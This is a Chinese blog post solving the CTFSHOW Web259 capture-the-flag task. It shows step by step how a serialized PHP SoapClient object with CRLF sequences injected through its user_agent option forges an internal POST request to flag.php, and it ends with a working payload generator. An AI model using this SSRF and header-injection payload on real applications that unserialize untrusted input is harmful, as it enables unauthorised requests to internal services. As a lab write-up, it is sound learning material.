CTFSHOW Web259 SoapClient原生类的反序列化

 

 

index.php

 

 

 

看到该题目第一眼,大脑直接一个简单的想法就是通过访问flag.php添加X-Forwarded-For然后POST发送token数据。

但!在本题的环境当中,由于使用了Cloudflare代理导致,Cloudflare 会将 HTTP 代理的 IP 地址附加到这个标头,在两次调用array_pop后我们取得的始终是固定的服务器IP。

因此我们只能通过SoapClient原生类的反序列化来做该题目。

 

SoapClient采用了HTTP作为底层通讯协议,XML作为数据传送的格式,其采用了SOAP协议(SOAP 是一种简单的基于 XML 的协议,它使应用程序通过 HTTP 来交换信息),其次我们知道某个实例化的类,如果去调用了一个不存在的函数,会去调用 __call 方法。下面我们一步步解释原理。

 

我们先用nc开启本地监听:我这里是mac电脑所以命令行是:nc -l 7799

然后运行下面的php代码即可。

<?php
//token=ctfshow
$client = new SoapClient(null,array('uri'=>'127.0.0.1','location'=>'http://127.0.0.1:7799'));  //创建一个对象,里面的参数第一个一般为null,第二个参数是数组形式,想要了解更多自行百度。
$client->getFlag();  //这里我们调用一个不存在的方法来触发SoapClient类的__call函数,据我了解该默认__call函数会发送此请求给服务器。
?>

观察nc监听的结果如下

 

 我们创建对象的时候设置的参数‘uri’体现在第二个红箭头指向的地方,‘location’具体表现在POST和Host。

 我们还可以控制参数User-Agent,通过创建对象的时候添加参数'user_agent'=>$u,具体看如下php代码

<?php
//token=ctfshow
$u = "ctfshow\r\nX-Forwarded-For:127.0.0.1,127.0.0.1,127.0.0.1\r\nContent-Type: application/x-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow";
$client = new SoapClient(null,array('uri'=>'127.0.0.1','location'=>'http://127.0.0.1:7799','user_agent'=>$u));
$client->getFlag();
?>

里面的换行我们用\r\n表示而不是\n\r。因为我们要以post方式提交一个参数token=ctfshow,所以Content-Type: application/x-www-form-urlencoded并Content-Length: 13\r\n\r\ntoken=ctfshow 。而这里的X-Forwarded-For:127.0.0.1,127.0.0.1,127.0.0.1是为了绕过那两次数组弹出元素。

结果如下

 

 发现没问题的话,我们就可以反序列化该对象,url编码,提交参数获取flag即可。这里注意将location修改为和我们的题目相关。

<?php
//token=ctfshow
$u = "ctfshow\r\nX-Forwarded-For:127.0.0.1,127.0.0.1,127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow";
$client = new SoapClient(null,array('uri'=>'127.0.0.1','location'=>'http://127.0.0.1/flag.php','user_agent'=>$u));
//$client->getFlag();
echo urlencode(serialize($client));
?>
至此收尾该题。
 
 

 

posted @   hithub  阅读(748)  评论(0编辑  收藏  举报
努力加载评论中...
点击右上角即可分享
微信分享提示